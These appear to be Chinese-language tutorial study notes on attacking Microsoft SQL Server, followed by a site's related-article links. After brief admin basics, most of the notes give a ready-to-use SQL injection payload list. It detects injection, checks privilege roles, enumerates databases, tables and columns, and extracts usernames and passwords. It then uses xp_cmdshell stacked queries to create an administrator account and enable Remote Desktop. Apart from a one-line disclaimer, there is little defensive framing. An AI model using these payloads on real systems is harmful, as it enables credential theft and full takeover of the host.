某教程学习笔记(一):08、MSSQL数据库漏洞

简介: 某教程学习笔记(一):08、MSSQL数据库漏洞

一、MSSQL介绍


MSSQL商业,性能好,易用,企业支持好,有很多精度要高的类型,学校、政府、在线办公、游戏、棋牌等部门可能会用。


端口:1433


后缀:.mdf/.ldf


sa权限:数据库操作,文件管理,命令执行,注册表读取等,相当于win系统system


db权限:文件管理,数据库操作等,相当于win系统adminnstrators


public权限:数据库操作,相当于win系统guest


二、SQL SERVER 2005


1、安装成功,输入账号密码登陆

0a2653c851af460fa595bd959398a8f1.png

2、master、model、msdb、tempdb这四个数据库是系统自带数据库

0eacb84100b54626af849e6b562bf92a.png

3、右击数据库,新建数据库,自动生成两个文件

2d65d23f6d4748949b924e4057485923.png

4、双击展开新建的数据库,右击表,添加表,输入列名和数据类型,保存

2e9b90b2ca334476abebe75bafe6eeaa.png

5、右击新建的表,打开表,然后就可以添加我们的数据了

4cebaac233b3433da32a72337a77fc60.png

6、删除数据库,需要先右击要删除的数据库,选择任务,再选择分离,然后再进目录删除数据库


7、添加外来的数据库,先把数据库文件放进目录,然后右击数据数据库,选择附加


8、备份数据库,选择要备份的数据库右击,选择生成脚本,选择为服务器版本编写脚本(修改为自己要用的版本)


9、还原数据库,将导出的脚本里面的内容复制到sql语句,运行,就会和重新生成一个数据库,里面的内容和备份数据库的内容一样。


三、代码调用


<%


cctt = “provier=sqloledb;source=local;uid=sa;pwd=**;database=database1”


Set conn = Server.Createobject(“ADODB.Connection”)


conn.open cctt


%>


provider后面的不用管,照写; source后面的可以是ip地址,这里我用的是本地的;sa是内置的用户,它的密码是你在安装的时候设置的; database后面是你要连接的数据库的名称.


四、判断注入


and 1=1 返回正常


and 1=2 返回错误,说明有注入


and user>0 返回正常,说明是sqlserver注入


and (select count(*)from sysobjects)>0 mssql 返回正常,说明是sqlserver注入


猜数表名


and( select count()from[表名])>0


猜字段


and( select Count(字段名)from[表名])>0


猜字段中记录长度


and(select top1len(字段名)from表名)>0


猜字段的asc值( access)


and( (select top1 asc(mid(字段名,1,1)from表名)>0


猜字段的ascii值(mssql)


and( select top1 unicode(substring(字段名1,1)from表名)>0


测试权限结构( mssql)


and 1=(select IS_SRVROLEMEMBER(‘sysadmin’));-- //判断是否是系统管理员


and 1=(select IS_SRVROLEMEMBERC(‘serveradmin’));–


and 1=(select IS_SRVROLEMEMBERC(‘setupadmin’));–


and 1=(select IS_SRVROLEMEMBERC(‘securityadmin’));–


and 1=(select IS_SRVROLEMEMBER(‘diskadmin’));–


and 1=(select IS_SRVROLEMEMBER(‘bulkadmin’);–


and 1=(select is_srvrolemember(‘db_owner’));–//判断是否是库权限


and 1=(select is_srvrolemember(‘public’));–//判断是否是pubilc权限


and 1=convert(int,db_name())或1=(select db_name())//当前数据库名


and 1=(select @@servername)//本地服务名


and 1=(select HAS_DBACCESS(‘master’))//判断是否有库读取权限


猜版本号


id=1 and 1=(select @@version)


id=@@version


猜数据库名称


id=1 and 1=(select db_name())


id=db_name()


获取所有数据库


id=1 and 1=(select name from master…sysdatabases for xml path)


获取第一个用户数据库


id=1 and 1=(select top 1 name from master…sysdatabases where dbid>4) #数据库是从第五个开始排的


获取下一个数据库


id=1 and 1=(select top 1 name from master…sysdatabases where dbid>4 and name <>‘上面查出来的数据库’)


或者


id=1 and 1=(select top 1 name from master…sysdatabases where dbid>5) #一次类推


获取所有表


id=1 and 1=(select name from sysobjects for xml path)


获取第一张表


id=1 and 1=(select top 1 name from sysobjects where xtype=‘u’)


获取下一张表


id=1 and 1=(select top 1 name from sysobjects where xtype=‘u’ and name <>‘上面查出来的表’)


获取表users第一列列名uname


id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name=‘users’))


获取表users第二列列名upass


id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name=‘users’) and name <> ‘uname’)


依次往后爆破


获取表users第一个用户名


?id=1 and 1=(select top 1 uname from users)


获取密码


?id=1 and 1=(select top 1 upass from users)


五、利用xp_cmdshell添加用户


id=1 ;exec master…xp_cmdshell ‘net user username password /add’


id=1 ;exec master… xp_cmdshell ‘net localgroup administrators username /add’ 添加到管理员组


六、开启3389端口


id=1 ;exec master…xp_cmdshell ‘sc config termservice start=auto’


;exec master…xp_cmdshell ‘net start termservice’


;exec master…xp_cmdshell ‘reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /vfDenyTSConnections /t REG_DWORD/d 0x0/f’


禁止非法,后果自负

目录
相关文章
|
14天前
|
SQL 数据库连接 API
Perl 教程 之 Perl 数据库连接 7
Perl DBI教程讲解了如何连接数据库,它是与数据库交互的标准接口,提供平台无关的访问。支持事务处理,可通过设置`AutoCommit =&gt; 0`在连接时开始事务或使用`$dbh-&gt;begin_work()`。事务结束后,用`commit`提交或`rollback`回滚。完成工作后,用`$dbh-&gt;disconnect`断开连接。
18 1
|
14天前
|
SQL 数据库连接 API
Perl 教程 之 Perl 数据库连接 4
Perl的DBI模块提供数据库独立接口,用于连接和操作数据库。通过prepare()预处理SQL,execute()执行,finish()释放句柄,及commit()提交事务。
12 1
|
23天前
|
SQL 关系型数据库 MySQL
阿里云MySQL数据库价格、购买、创建账号密码和连接数据库教程
阿里云数据库使用指南:购买MySQL、SQL Server等RDS实例,选择配置和地区,完成支付。创建数据库和账号,设置权限。通过DMS登录数据库,使用账号密码访问。同地域VPC内的ECS需将IP加入白名单以实现内网连接。参考链接提供详细步骤。
363 3
|
12天前
|
弹性计算 关系型数据库 MySQL
阿里云数据库服务器价格表,数据库创建、连接和使用教程
阿里云数据库使用流程包括购买和管理。选择所需数据库类型如MySQL,完成实名认证后购买,配置CPU、内存和存储。确保数据库地域与ECS相同以允许内网连接。创建数据库和账号,设置权限。通过DMS登录数据库,使用账号密码连接。同一VPC内的ECS需添加至白名单以进行内网通信。参考官方文档进行详细操作。
70 3
|
15天前
|
SQL 关系型数据库 数据库连接
Perl 教程 之 Perl 数据库连接 1
Perl教程:使用DBI模块实现数据库连接,DBI是数据库独立接口,适用于Oracle、MySQL等。它定义通用方法,通过API处理SQL,分配给驱动执行。常用变量如$dsn(数据库源),$dbh(数据库句柄),$sth(语句句柄),返回值用$rc和$rv,查询结果存入@ary或(rows)。文件操作用$fh,属性用%\attr。
141 2
|
23天前
|
弹性计算 关系型数据库 MySQL
阿里云MySQL云数据库优惠价格、购买和使用教程分享!
阿里云数据库使用流程包括购买和管理。首先,选购支持MySQL、SQL Server、PostgreSQL等的RDS实例,如选择2核2GB的MySQL,设定地域和可用区。购买后,等待实例创建。接着,创建数据库和账号,设置DB名称、字符集及账号权限。最后,通过DMS登录数据库,填写账号和密码。若ECS在同一地域和VPC内,可内网连接,记得将ECS IP加入白名单。
412 2
|
24天前
|
SQL 关系型数据库 MySQL
阿里云mysql数据库价格购买和使用教程
阿里云数据库使用指南:购买MySQL、SQL Server等RDS实例,通过选择配置、地域和可用区完成购买。创建数据库和账号,分配权限。使用DMS登录数据库,进行管理操作。确保ECS与RDS在同一地域的VPC内,配置白名单实现内网连接。详细步骤见官方文档。
626 1
|
11天前
|
SQL 数据可视化 关系型数据库
轻松入门MySQL:深入探究MySQL的ER模型,数据库设计的利器与挑战(22)
轻松入门MySQL:深入探究MySQL的ER模型,数据库设计的利器与挑战(22)
|
11天前
|
存储 关系型数据库 MySQL
轻松入门MySQL:数据库设计之范式规范,优化企业管理系统效率(21)
轻松入门MySQL:数据库设计之范式规范,优化企业管理系统效率(21)
|
11天前
|
关系型数据库 MySQL 数据库
轻松入门MySQL:精准查询,巧用WHERE与HAVING,数据库查询如虎添翼(7)
轻松入门MySQL:精准查询,巧用WHERE与HAVING,数据库查询如虎添翼(7)

热门文章

最新文章